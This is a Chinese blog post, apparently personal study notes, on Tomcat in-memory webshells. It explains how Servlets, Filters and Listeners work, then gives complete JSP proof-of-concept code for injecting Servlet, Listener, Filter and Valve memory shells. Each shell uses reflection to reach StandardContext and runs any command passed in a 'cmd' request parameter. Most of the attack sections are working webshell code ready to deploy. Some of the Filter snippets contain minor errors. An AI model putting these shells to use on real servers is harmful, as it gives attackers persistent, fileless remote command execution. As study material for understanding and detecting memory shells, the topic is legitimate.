tomcat内存马
Tomcat 内存马学习
内存马主要分为以下几类:
- servlet-api类
- filter型
- servlet型
- spring类
- 拦截器
- controller型
- Java Instrumentation类
- agent型
Tomcat 环境搭建
按照教程来就行了
参考:https://www.cnblogs.com/bktown/p/17636156.html#%E4%B8%8B%E8%BD%BDtomcat
maven 项目的 tomcat 搭建如果照着这个教程一般会出问题,参考:
https://blog.csdn.net/qq_45344586/article/details/131033139
问题解决参考:
https://blog.csdn.net/yugege5201314/article/details/134343903
反正就是把 web 目录下的内容重新添加到 out 目录中,

java web 三件套学习
Servlet
Servlet 是 JavaEE 的规范之一,通俗的来说就是 Java 接口,将来我们可以定义 Java 类来实现这个接口,并由 Web 服务器运行 Servlet ,所以 TomCat 又被称作 Servlet 容器。
Servlet 提供了动态 Web 资源开发技术,一种可以将网页数据提交到 Java 代码,并且将 Java 程序的数据返回给网页的技术,使用 Servlet 技术实现了不同用户登录之后在页面上动态的显示不同内容等的功能。
生命周期
- Servlet初始化后调用
init()方法,读取 web.xml 配置,完成对象的初始化功能 - Servlet调用
service()方法来处理客户端请求 - Servlet销毁前调用
destroy()方法 - 最后Servlet由JVM的垃圾回收器进行垃圾回收
如何定义一个Servlet
第一步
只需要编写一个类,继承javax.servlet.http.HttpServlet类并重写service方法。service方法会根据请求方法调用相应的doxxx方法,也可以直接重新相应的doxxx方法
先引入依赖(maven 项目才可以)
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
把这个依赖的范围设置为 provided ,即只在编译和测试的过程中有效,最后生成的 war 包中不会加入这个依赖 jar 包,因为 TomCat 文件中本身就带有这个 jar 包,如果不使用这个范围,则会出现冲突。添加依赖范围时只需要在依赖坐标下面添加 <scope> 标签。
可以看到 tomcat 的 lib 目录下有这个 jar 包

一般不是 maven 项目的 tomcat 服务就可以直接从本地引入 jar 包。
第二步
定义一个类,用来实现 Servlet 接口,并重写接口中的所有方法。
package org.example;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
@WebServlet("/demo")
public class servletdemo implements Servlet {
public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
System.out.println("Hello");
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
}
利用 @WebServlet("/demo") 注解配置访问路径。
Servlet3.0之前的版本需要在web.xml中配置servlet标签,servlet标签是由servlet和servlet-mapping标签组成,两者之间通过在servlet和servlet-mapping标签中同样的servlet-name名称来实现关联的。
<servlet>
<servlet-name>Nivia</servlet-name>
<servlet-class>Servlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>Nivia</servlet-name>
<url-pattern>/nivia</url-pattern>
</servlet-mapping>
Servlet3.0之后支持注解配置,在任意的Java类添加 javax.servlet.annotation.WebServlet 注解即可,上面用的就是这种方法。
第三步
启动配置好的 tomcat 服务,访问刚刚配置的路径,看到 idea 控制台打印了刚才在 servlet() 方法中定义的输出内容。


我们并没有实例化这个 Servlet 类的对象,那么为什么 servlet() 方法被成功执行了呢?
执行流程
在上面的例子中,我们已经写好一个 Servlet 的项目,并且将其部署到了 Web 服务器 TomCat 中,此时我们可以根据对应的 url 在浏览器中访问该服务器资源。浏览器发出 http://localhost:8080/servlet-project/demo 请求,这个请求大致分为 3 部分,分别是:
- 根据
http://localhost:8080找到要访问的 Tomcat 服务器 - 根据
servlet-project找到部署在 TomCat 服务器中的 Web 项目 - 根据
demo找到访问的项目中的具体 Servlet,因为我们已经通过注解给 Servlet 配置了具体的访问路径
此时 Web 服务器软件 TomCat 将会创建一个 ServletDemo 的对象,这个对象称为 Servlet 对象,并且该对象的 service() 方法也会被服务器自动调用。当 service() 方法被调用执行后就会向客户端浏览器发送响应数据。上面的例子中我们没有向浏览器发送具体的数据,要想实现这个功能,我们就要继续学习 ServletRequest 类和 ServletResponse 类。
java ✌的 demo,直接重新的 doGet 方法,这样 service()方法还是以前的方法,然后根据浏览器的访问方法去调用不同的 doxxx 方法进行处理,所以直接重写 doxxx 方法也可以得到一样的效果。
import java.io.*;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
@WebServlet("/demo")
public class servlet extends HttpServlet {
private String message;
@Override
public void init() throws ServletException {
message = "demo";
}
//初始化对message进行赋值
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<h1>" + message + "<h1>");
}
@Override
public void destroy() {
}
}
参考:https://nivi4.notion.site/Servlet-0c046c4cc9a04bfabca38c00136078ad
参考:https://blog.csdn.net/zhangxia_/article/details/128886023
Filter
javax.servlet.Filter 接口是一个过滤器,主要用于过滤URL请求,通过Filter我们可以实现URL请求资源权限验证、用户登录检测等功能
生命周期
- Filter 初始化后调用
init()方法,读取web.xml配置,完成对象的初始化功能 - Filter 调用
doFilter方法来对客户端请求进行预处理 - Filter 销毁前调用
destroy()方法 - 最后 Filter 由JVM的垃圾回收器进行垃圾回收
如何定义一个 Filter
重写基本的生命周期方法即可:
package org.example;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.PrintWriter;
@WebFilter("/*")
public class filterdemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("filter");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
其中 web.xml 配置,Filter的配置类似于Servlet,由<filter>和<filter-mapping>两组标签组成
<filter>
<filter-name>Nivia</filter-name>
<filter-class>Servlet</filter-class>
</filter>
<filter-mapping>
<filter-name>Nivia</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
如果Servlet版本大于3.0同样可以使用注解的方式配置Filter,如上。
然后运行 tomcat 服务,发现 filter 调用确实是在 servlet 前面。

Filter 链
上面 demo 代码中的 filterChain.doFilter(servletRequest, servletResponse); 就是是传递给下一个Filter链处理。
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。
Listener
事件:某个方法被调用,或者属性改变
事件源:被监听的对象
监听器:用于监听事件源,当发生事件时会触发监听器
监听器分类

如何定义一个 Listener
根据不同的事件源来选择不同的接口,这里选择 ServletRequestListener,这样当访问相应路由是就会进行调用。
package org.example;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class Listenerdemo implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("1");
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("2");
}
}
需要在web.xml中配置监听器类名,没有注解方法。
<listener>
<listener-class>org.example.listenerdemo</listener-class>
</listener>
然后直接运行 tomcat 服务,可以看到 servlet 初始化时调用了一次,然后就是 dofilter 调用,在调用 servlet,最后销毁时又调用了一次监听器

顺序:
lstenner->filter->servelt
tomcat 内存马
Servlet、Listener、Filter由javax.servlet.ServletContext去加载,无论是使用xml配置文件还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向容器中进行注册。
ServletContext对象,它是Servlet的上下文,它记录着Servlet的相关信息。
在Servlet 3.0 API中,允许ServletContext使用动态进行注册,在Web容器初始化时,也就说创建ServletContext对象的时候进行动态注册,它提供了add*/create*方法来实现动态注入的功能
servlet 型
一个简单的Servlet,照着上面的写就行了。
package org.example;
import java.io.*;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
@WebServlet("/test")
public class servletdemo extends HttpServlet {
private String message;
@Override
public void init() throws ServletException {
message = "test";
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html");
PrintWriter out = resp.getWriter();
out.println("<h1>" + message + "<h1>");
}
@Override
public void destroy() {
}
}
sevlet 创建流程分析
需要先引入库,因为我直接本地引入 tomcat 的 lib 库没法下载源码,所以我用的是 maven 项目,直接在 pom.xml 添加
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.93</version>
<scope>provided</scope>
</dependency>
<scope>provided</scope> 同样防止和本地的 jar 包冲突(虽然这里版本是和 tomcat 一样的感觉应该没什么影响)。
init()方法调用栈

创建StandardWrapper
在 LifecycleBase # startInternal 中,调用了 fireLifecycleEvent() 方法解析web.xml文件,我们跟进

然后调用 configureStart() 方法,最后调用 webconfig()解析web.xml获取各种配置参数

看到都是一些参数,在 webconfig() 中执行的 WebXml webXml = createWebXml();

参数是 null 很正常,因为我的 web.xml 配置文件什么都没写,路径是用的注解类进行注册。
然后又调用 configureContext 方法,参数 webxml 就是上面执行 createWebXml() 的结果。这个方法是创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

最后通过 addServletMappingDecoded() 方法添加Servlet对应的url映射。
加载 StandardWrapper
接着在StandardContext#startInternal方法通过findChildren()获取StandardWrapper类

然后会调用 loadOnStartup 来加载 wrapper,不过在这之前会先对 Listener、Filter 进行加载,如果有的话。

跟进 StandardWrapper#loadOnStartup 方法

传入的参数 children 是个 container 对象,container 对象封装了刚刚传入 StandardWrapper 对象


看到最后一个 Wrapper 正好对应着我们创建的 Servlet 的信息,如果我们想注入恶意内存马可以尝试向这个Container对象中,加入恶意构造的StandardWrapper对象。
注意这里对于 Wrapper 对象中 loadOnStartup 属性的值进行判断,只有大于0的才会被放入 list 数组进行后续的 wrapper.load() 加载调用。

发现最后一个包含了 servlet 信息的 Wrapper 该属性并不满足条件,属性值是-1

这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过 loadOnStartup 属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。
然后 load 方法会调用 loadServlet(),然后又调用了 initServlet() 方法,

看到这里的的 servlet 是默认的,刚刚说了嘛,我们自己创建的 serlvet 方法的 loadOnStartup 属性是 -1,并不会调用 load 进行加载,只有访问注册的路由如"/test"才会被 load 进内存中。
最后在调用 servlet.init(facade) 加载 standardwrapper 对象完成初始化。

至此 servlet 创建流程就算结束,虽然这里是默认的 servlet,然后访问注册路径就会在执行把自己创建的 serlvet 加载进。
注入 servlet 型内存马
- 获取
StandardContext对象 - 编写恶意Servlet
- 通过
StandardContext.createWrapper()创建StandardWrapper对象 - 设置
StandardWrapper对象的loadOnStartup属性值 - 设置
StandardWrapper对象的ServletName属性值 - 设置
StandardWrapper对象的ServletClass属性值 - 将
StandardWrapper对象添加进StandardContext对象的children属性中 - 通过
StandardContext.addServletMappingDecoded()添加对应的路径映射
获取 StandardContext 对象
方法有很多,
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
更多详细方法参考:https://xz.aliyun.com/t/9914
编写恶意Servlet
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
创建Wrapper对象
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
将Wrapper添加进StandardContext
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
完整 poc
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
写入 shell.jsp 文件,然后访问进行路由注册,

成功执行。

Listener型
Listener的种类诸多,其中ServletRequestListener用于监听ServletRequest对象的创建和销毁过程,比较适合做内存马,只要访问相关服务就可以触发相关恶意代码(对照上面的 listener 监听器分两类)。
listener 创建过程分析
其使用 ServletRequestListener 监听器时的调用栈

回溯到 fireRequestInitEvent 方法,

针对ServletRequestListener,首先会调用getApplicationEventListeners方法,获取所有的Listener对象
也就是说所有的Listener对象通过getApplicationEventListeners方法获取,正好也提供了相关setter和add方法

所以我们可以尝试向applicationEventListenersList中添加一个恶意Listener
注入 listener 型内存马
- 获取StandardContext上下文
- 实现一个恶意Listener
- 通过StandardContext#addApplicationEventListener方法添加恶意Listener
获取 StandardContext 对象
首先还是要获取到当前环境的StandardContext对象
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
编写一个恶意的Listener
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
最后添加监听器
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
完整 poc
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
访问写的 jsp 内存马路径

然后就可以执行命令了

Filter型
Filter 创建过程分析
init()函数初始化调用栈

跟进 ApplicationFilterChain#internalDoFilter,

看到最后执行的执行了 filter.init 方法进行初始化,这里的 filter 是通过 filterConfig.getFilter() 得到的(在 internalDoFilter 方法中)

一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的 filters 属性是一个 ApplicationFilterConfig 数组。现在需要寻找一下 ApplicationFilterChain.filters 属性在哪里被赋值。
发现在 StandardWrapperValve#invoke() 方法中,通过 ApplicationFilterFactory.createFilterChain() 方法初始化了一个 ApplicationFilterChain 类

这里面有具体的filterChain对象的创建过程
- 首先通过
filterChain = new ApplicationFilterChain()创建一个空的filterChain对象 - 然后通过
wrapper.getParent()函数来获取StandardContext对象 - 接着获取
StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息 - 最后根据Filter的名称,在
StandardContext中获取FilterConfig - 通过
filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中
所以关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter。
FilterConfigs
其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息

其中filterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>标签。可以看到,filterDef必要的属性为filter、filterClass以及filterName。
filterDefs
filterDefs是一个HashMap,以键值对的形式存储filterDef

filterMaps
filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签

filterMaps必要的属性为dispatcherMapping、filterName、urlPatterns
注入 filter 型内存马
- 获取StandardContext对象
- 创建恶意Filter
- 使用FilterDef对Filter进行封装,并添加必要的属性
- 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
- 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext对象
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
创建恶意Filter
<%
public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd=request.getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
%>
使用FilterDef封装filter
<%
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
%>
创建filterMap
filterMap用于filter和路径的绑定
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
封装filterConfig及filterDef到filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
完整POC
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);%>
<%!
public class Shell_Filter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace(); } catch (NullPointerException n) {
n.printStackTrace(); } } chain.doFilter(request, response); }
@Override
public void destroy() {
} }%>
<%
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig);%>
Valve型
tomcat 管道机制
我们知道,当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。
这里的调用流程可以类比为Filter中的责任链机制
在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
管道机制流程分析
先看看Pipeline接口

继承了 Contained 接口,Pipeline接口提供了各种对Valve的操作方法,如我们可以通过 addValve() 方法来添加一个Valve。然后 valve 接口中的 getNext() 方法又可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。
其中我们可以通过重写 invoke() 方法来实现具体的业务逻辑,如:
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
...
}
}
}
下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在 org.apache.catalina.connector.CoyoteAdapter#service 方法中,其中重点是
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)
connector.getService() 获得一个 StandardService 对象,接着通过 StandardService. getContainer().getPipeline() 获取 StandardPipeline 对象。然后获得第一个 vaule 并执行其具体业务功能。所以我只有把恶意的 value 添加进 vaule 就行。
注入 value 型内存马
获取StandardPipeline对象
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
%>
编写恶意Valve类
<%!
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>
将恶意Valve添加进StandardPipeline
<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>
完整POC
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
%>
<%!
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>
<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>
参考:https://goodapple.top/archives/1355
参考:https://nivi4.notion.site/Tomcat-d0595e7ca2a94bf6b6726a288a8e8b2b

浙公网安备 33010602011771号